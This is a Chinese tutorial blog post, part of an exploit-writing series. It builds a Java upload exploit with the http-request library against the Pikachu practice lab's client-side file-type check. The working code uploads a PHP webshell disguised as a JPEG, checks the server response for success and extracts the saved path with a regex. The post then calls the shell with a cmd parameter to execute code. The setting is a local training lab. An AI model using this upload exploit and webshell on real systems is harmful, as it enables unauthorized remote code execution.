JAVA-Exploit编写(7)--http-request库文件上传使用续篇

目录

1.http-request简介

[2. 依赖导入](#2. 依赖导入)

3.靶场实战

[3.1 简单使用](#3.1 简单使用)

[3.2 增加判断机制](#3.2 增加判断机制)

[3.3 文件上传成功后的利用](#3.3 文件上传成功后的利用)

[3.4 正则匹配上传文件的返回的路径](#3.4 正则匹配上传文件的返回的路径)


1.http-request简介

http-request 是一个库 里面提供很多方法,使得很容易就可以构造http请求,相比于之前使用的标准库类等要简单使用很多,目前通过此库来编写EXP较多.

2. 依赖导入

java 复制代码
<dependency>
      <groupId>com.github.kevinsawicki</groupId>
      <artifactId>http-request</artifactId>
      <version>5.6</version>
</dependency>

3.靶场实战

3.1 简单使用

上一篇是通过自己编写的一个文件上传界面来实现的,现在就用实际的靶场来实现,同时也需要做一定的改动.

其中可以很明显看到,文件的请求头部分Content-Type参数,这个参数是通过burp抓包后得来的参数,使用exp前抓一次包,后续就不需要抓包了,因为本关事通过判断文件类型的,只要前端检测到文件类为image/jpeg/jpg/png这几种就可以发送过去了,就是一个前端验证

java 复制代码
package com.deger.Exp;

import com.github.kevinsawicki.http.HttpRequest;

import java.io.File;

public class ExpUpload {
    public static void main(String[] args) {
        HttpRequest httpRequest = HttpRequest.post("http://127.0.0.1/pikachu/vul/unsafeupload/clientcheck.php");
        httpRequest.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3");
        httpRequest.header("Content-Type","multipart/form-data; boundary=---------------------------33601824373446");
        httpRequest.part("uploadfile","xiaoyu.php","image/jpeg",new File("D:\\phpstudy_pro\\WWW\\shell1.php"));
        httpRequest.part("submit","submit");
        String context = httpRequest.body();
        System.out.println(context);

    }
}

打印请求返回的信息后

可以通过搜索文件上传这几个关键词来判断是否上传成功

3.2 增加判断机制

增加一个文件上传的标志判断,就通过判断返回的响应中是否有上面的关键词信息即可,使用contains这个方法即可

java 复制代码
package com.deger.Exp;

import com.github.kevinsawicki.http.HttpRequest;

import java.io.File;

public class ExpUpload {
    public static void main(String[] args) {
        HttpRequest httpRequest = HttpRequest.post("http://127.0.0.1/pikachu/vul/unsafeupload/clientcheck.php");
        httpRequest.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3");
        httpRequest.header("Content-Type","multipart/form-data; boundary=---------------------------33601824373446");
        httpRequest.part("uploadfile","xiaoyu.php","image/jpeg",new File("D:\\phpstudy_pro\\WWW\\shell1.php"));
        httpRequest.part("submit","submit");
        String context = httpRequest.body();
        if(context.contains("文件上传成功")){
            System.out.println("文件上传成功");
        }else{
            System.out.println("文件上传失败");
        }
    }
}

3.3 文件上传成功后的利用

文件上传后的文件的访问路径,通过访问验证确实文件上传成功

bash 复制代码
http://127.0.0.1/pikachu/vul/unsafeupload/uploads/xiaoyu.php
bash 复制代码
http://127.0.0.1/pikachu/vul/unsafeupload/uploads/xiaoyu.php?cmd=var_dump(1)

尝试命令执行成功

3.4 正则匹配上传文件的返回的路径

使用起来还是比较简单的,主要是正则的编写,这里可以自行编写正则,或者通过正则生成网站,实在不会使用,通过ai编写正则也是可以的,怎么高效怎么来就可以了,下面是我常用的一个正则生成网站.

Regex正则表达式在线测试、生成、解析工具 - GoRegex.cnhttps://goregex.cn/

bash 复制代码
package com.deger.Exp;

import com.github.kevinsawicki.http.HttpRequest;

import java.io.File;

public class ExpUpload {
    public static void main(String[] args) {
        // 发送POST请求
        HttpRequest httpRequest = HttpRequest.post("http://127.0.0.1/pikachu/vul/unsafeupload/clientcheck.php");
        httpRequest.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3");
        httpRequest.header("Content-Type", "multipart/form-data; boundary=---------------------------33601824373446");
        httpRequest.part("uploadfile", "xiaoyu.php", "image/jpeg", new File("D:\\phpstudy_pro\\WWW\\shell1.php"));
        httpRequest.part("submit", "submit");
        
        // 获取响应体
        String context = httpRequest.body();
        // System.out.println(context);
        
        // 检查是否上传成功
        if (context.contains("文件上传成功")) {
            System.out.println("文件上传成功");
            
            // 使用正则表达式匹配文件保存路径
            String pattern = "文件保存的路径为:(uploads/[^<]+)";
            java.util.regex.Pattern p = java.util.regex.Pattern.compile(pattern);
            java.util.regex.Matcher m = p.matcher(context);
            
            if (m.find()) {
                System.out.println("文件保存的路径为:" + m.group(1));
            } else {
                System.out.println("未找到文件保存路径");
            }
        } else {
            System.out.println("文件上传失败");
        }
    }
}
相关推荐
折哥的程序人生 · 物流技术专研7 小时前
第4篇:Lambda 简化策略模式(Java 8+)
java·设计模式·策略模式·函数式编程·lambda·代码简化·扩充系列
researcher-Jiang7 小时前
高性能计算之OpenMP——超算习堂学习1
android·java·学习
西门吹-禅9 小时前
java springboot N+1问题
java·开发语言·spring boot
DLYSB_9 小时前
生命通道:如何用 HIS 医疗系统直连网络声光终端,打造“零延误”的危急值响应网关?
java·网络·数据库·报警灯
weixin_BYSJ19879 小时前
SpringBoot + MySQL 乒乓球运动员信息管理系统项目实战--附源码04954
java·javascript·spring boot·python·django·flask·php
AI小码9 小时前
LLM 应用的缓存工程:当每次 API 调用都在燃烧成本
java·人工智能·spring·计算机·llm·编程·api
Hui Baby10 小时前
Spring Security
java·后端·spring
IT笔记11 小时前
【Rust】Rust Match 模式匹配详解
java·开发语言·rust
我才是银古11 小时前
构建 Java GIS 工具库:从碎片化 API 到统一抽象的设计实践
java·gis·geotools·gdal·esri
TPBoreas11 小时前
配置信息防泄露方案:.env 环境隔离详解(dotenv-java)
java·开发语言